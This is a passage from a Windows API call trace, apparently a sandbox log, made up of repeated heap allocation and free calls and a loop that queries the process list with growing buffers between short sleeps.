SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.128] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x2f69c) returned 0x42be49b0 [0160.128] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x2f69c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0x0 [0160.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0160.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0160.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x174b90 [0160.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x174b90 [0160.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0160.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0160.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a0a70 [0160.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a0a70 [0160.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0160.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0160.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0160.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a0a70 [0160.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a0a70 [0160.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x423a0a70 [0160.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x423a0a70 [0160.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0160.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x423a0a70 [0160.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a0a70 [0160.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a0a70 [0160.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a0a70 [0160.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a0a70 [0160.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0160.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x423a0a70 [0160.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d6740 [0160.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d6740) returned 1 [0160.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1cd97e40 [0160.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0160.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a0a70 [0160.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d6740 [0160.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d6740) returned 1 [0160.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1cd97e40 [0160.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0160.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d6740 [0160.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d6740) returned 1 [0160.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x423a0a70 [0160.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a0a70 [0160.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0160.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a0a70 [0160.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0160.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a0a70 [0160.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0160.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x423a0a70 [0160.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a0a70 [0160.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0160.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a0a70 [0160.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7d6740 [0160.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d6740) returned 1 [0160.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x174b90 [0160.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a0a70 [0160.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0160.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x423a0a70 [0160.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0160.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x423a0a70 [0160.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0160.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a0a70 [0160.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a0a70 [0160.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a0a70 [0160.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a0a70 [0160.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a0a70 [0160.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0160.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a0a70 [0160.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a0a70 [0160.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0160.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0160.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x423a0a70 [0160.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d6740 [0160.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d6740) returned 1 [0160.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a0a70 [0160.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0160.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x174b90 [0160.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0160.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x423a0a70 [0160.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0160.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x423a0a70 [0160.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x174b90 [0160.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a0a70 [0160.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x423a0a70 [0160.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a0a70 [0160.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a0a70 [0160.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a0a70 [0160.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x423a0a70 [0160.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x174b90 [0160.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x423a0a70 [0160.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x174b90 [0160.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0160.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0160.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42be49b0) returned 1 [0160.184] Sleep (dwMilliseconds=0x64) [0160.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1024) returned 0x42b849e0 [0160.291] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42b849e0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x42b849e0, ResultLength=0x0) returned 0xc0000004 [0160.291] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42b849e0, Size=0x2048) returned 0x4264e500 [0160.292] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4264e500, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4264e500, ResultLength=0x0) returned 0xc0000004 [0160.292] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x4264e500, Size=0x306c) returned 0x42ba49e0 [0160.292] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42ba49e0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x42ba49e0, ResultLength=0x0) returned 0xc0000004 [0160.292] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42ba49e0, Size=0x4090) returned 0x423a8080 [0160.292] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423a8080, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x423a8080, ResultLength=0x0) returned 0xc0000004 [0160.293] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423a8080, Size=0x50b4) returned 0x423a8080 [0160.293] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423a8080, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x423a8080, ResultLength=0x0) returned 0xc0000004 [0160.293] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423a8080, Size=0x60d8) returned 0x423a8080 [0160.293] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x423a8080, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x423a8080, ResultLength=0x0) returned 0xc0000004 [0160.293] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x423a8080, Size=0x70fc) returned 0x42be49b0 [0160.294] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.294] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x8120) returned 0x42be49b0 [0160.294] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.294] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x9144) returned 0x42be49b0 [0160.295] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.295] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0xa168) returned 0x42be49b0 [0160.295] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.295] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0xb18c) returned 0x42be49b0 [0160.296] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.297] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0xc1b0) returned 0x42be49b0 [0160.297] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.297] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0xd1d4) returned 0x42be49b0 [0160.297] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.298] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0xe1f8) returned 0x42be49b0 [0160.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.298] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0xf21c) returned 0x42be49b0 [0160.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.298] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x10240) returned 0x42be49b0 [0160.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.299] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x11264) returned 0x42be49b0 [0160.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.300] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x12288) returned 0x42be49b0 [0160.300] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.300] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x132ac) returned 0x42be49b0 [0160.301] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.301] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x142d0) returned 0x42be49b0 [0160.301] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.302] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x152f4) returned 0x42be49b0 [0160.302] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 0xc0000004 [0160.302] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42be49b0, Size=0x16318) returned 0x42be49b0 [0160.302] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42be49b0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x42be49b0, ResultLength=0x0) returned 